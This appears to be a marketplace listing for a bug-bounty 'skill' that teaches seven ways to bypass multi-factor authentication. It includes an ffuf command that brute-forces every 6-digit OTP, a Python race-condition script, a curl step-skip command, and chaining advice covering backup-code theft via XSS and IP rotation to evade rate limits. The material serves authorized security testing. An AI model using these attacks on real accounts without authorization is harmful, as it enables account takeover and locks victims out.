From claude-bughunter
Tests 7 distinct MFA/2FA bypass patterns: no rate-limit on OTP, OTP reuse, response manipulation, workflow skip, race conditions, recovery-code dump, and backup-factor downgrade. Useful when auditing authentication flows for ATO chaining.
How this skill is triggered — by the user, by Claude, or both
Slash command
/claude-bughunter:hunt-mfa-bypassThe summary Claude sees in its skill listing — used to decide when to auto-load this skill
> Growing bug class — 7 distinct patterns. Pays High/Critical when it enables ATO without prior session.
Growing bug class — 7 distinct patterns. Pays High/Critical when it enables ATO without prior session.
# Test with ffuf — all 1M 6-digit codes
ffuf -u "https://target.com/api/verify-otp" \
-X POST -H "Content-Type: application/json" \
-H "Cookie: session=YOUR_SESSION" \
-d '{"otp":"FUZZ"}' \
-w <(seq -w 000000 999999) \
-fc 400,429 -t 5
# -t 5 (slow down) — aggressive rates get 429 or ban
1. Login → receive OTP "123456" → enter it → success
2. Logout → login again with same credentials
3. Try OTP "123456" again
4. If accepted → OTP never invalidated = ATO (attacker sniffs OTP once, reuses forever)
1. Enter wrong OTP → capture response in Burp
2. Change {"success":false} → {"success":true} (or 401 → 200)
3. Forward → if app proceeds → client-side only MFA check
# After entering password, app sets a "pre-mfa" cookie → redirects to /mfa
# Test: skip /mfa entirely, access /dashboard directly with pre-mfa cookie
# If app grants access without MFA = auth flow bypass = Critical
curl -s -b "session=PRE_MFA_SESSION" https://target.com/dashboard
import asyncio, aiohttp
async def verify(session, otp):
async with session.post("https://target.com/api/mfa/verify",
json={"otp": otp}) as r:
return r.status, await r.text()
async def race():
cookies = {"session": "YOUR_SESSION"}
async with aiohttp.ClientSession(cookies=cookies) as s:
# Fire ~30 concurrent submissions of the SAME OTP to hit the TOCTOU
# window before the server marks it used. Two requests are NOT enough —
# they almost always resolve sequentially as "already-used" (false negative).
# Best done as a single-packet / 20+ HTTP-2-stream attack (Turbo Intruder).
results = await asyncio.gather(*[verify(s, "123456") for _ in range(30)])
# Race confirmed if >1 success (or 1 success among many "already-used").
for status, body in results:
print(status, body)
asyncio.run(race())
Backup codes: typically 8 alphanumeric = 36^8 = ~2.8T (too large)
BUT: check if backup codes are only 6-8 digits = 1-10M range = feasible with no rate limit
Also test: can backup codes be reused after exhaustion? Some apps regenerate predictably.
1. Complete MFA once on Device A (attacker's browser)
2. Capture the "remember device" cookie
3. Present that cookie from a new IP/browser
4. If MFA skipped = device trust not bound to IP/UA = ATO from any location
Rate limit bypass + no lockout = ATO (Critical)
Response manipulation = client-side only check = Critical
Skip MFA step = auth flow bypass = Critical
OTP reuse = persistent session hijack = High
hunt-ato — MFA bypass is a primitive; ATO is the destination. Chain primitive: cookie theft (via XSS or session-fixation) + password oracle (login response timing/length diff reveals valid passwords without lockout) + no MFA step-up on password-change endpoint = persistent ATO without ever facing the OTP challenge → password rotated, attacker locks victim out.hunt-race-condition — Pattern 5 (OTP race) lives in race-condition territory; load both skills together. Chain primitive: same 6-digit OTP submitted via 20 parallel HTTP/2 streams (single-packet Turbo Intruder attack) before the server marks it used → 1 success + 19 "already-used" → race window confirmed → attacker doesn't need to brute, just guesses once and parallelizes → ATO.hunt-auth-bypass — MFA-step-skip is auth-flow bypass at the workflow layer. Chain primitive: pre-MFA cookie issued after password step + direct navigation to /dashboard skipping /mfa route + server only middleware-gates /mfa not /dashboard = full post-auth access from password-only state → MFA never enforced because the route gate was misplaced.hunt-misc — Recovery-code dump via /api/me is a misc-class info disclosure that becomes Critical when chained. Chain primitive: /api/me returns full user object including backup_codes array (plaintext, never rotated) → attacker with any read-IDOR or XSS exfils backup codes → uses one backup code → MFA satisfied → ATO without OTP knowledge.security-arsenal — Pull the OTP-brute-force payload section (000000-999999 wordlist generator, ffuf rate-limit-evasion patterns with -t 5 -p 0.5-2, distributed-IP rotation via proxychains) and the JWT-token-replay table when "MFA satisfied" claim lives in a JWT claim that can be forged.triage-validation — Run the Pre-Severity Gate before claiming Critical on an MFA bypass that only works when the attacker already has the password. Standalone MFA bypass is High; chained-with-password-oracle is Critical; chained-with-cookie-theft-only is Critical. The chain question separates the two.npx claudepluginhub elementalsouls/claude-bughunter4plugins reuse this skill
First indexed Jun 11, 2026
Guides pentesting for authentication bypass vulnerabilities in web apps and APIs, including OTP/2FA bypass, JWT manipulation, default credentials, session fixation, and OAuth attacks.
Executes OWASP WSTG OTG-AUTHN test cases for username enumeration, brute force, default credentials, weak lockout, MFA bypass, and password reset flaws, producing HTTP evidence.
Identifies and exploits authentication vulnerabilities including password policy, credential enumeration, session security, and MFA testing. Useful for penetration testing of web applications.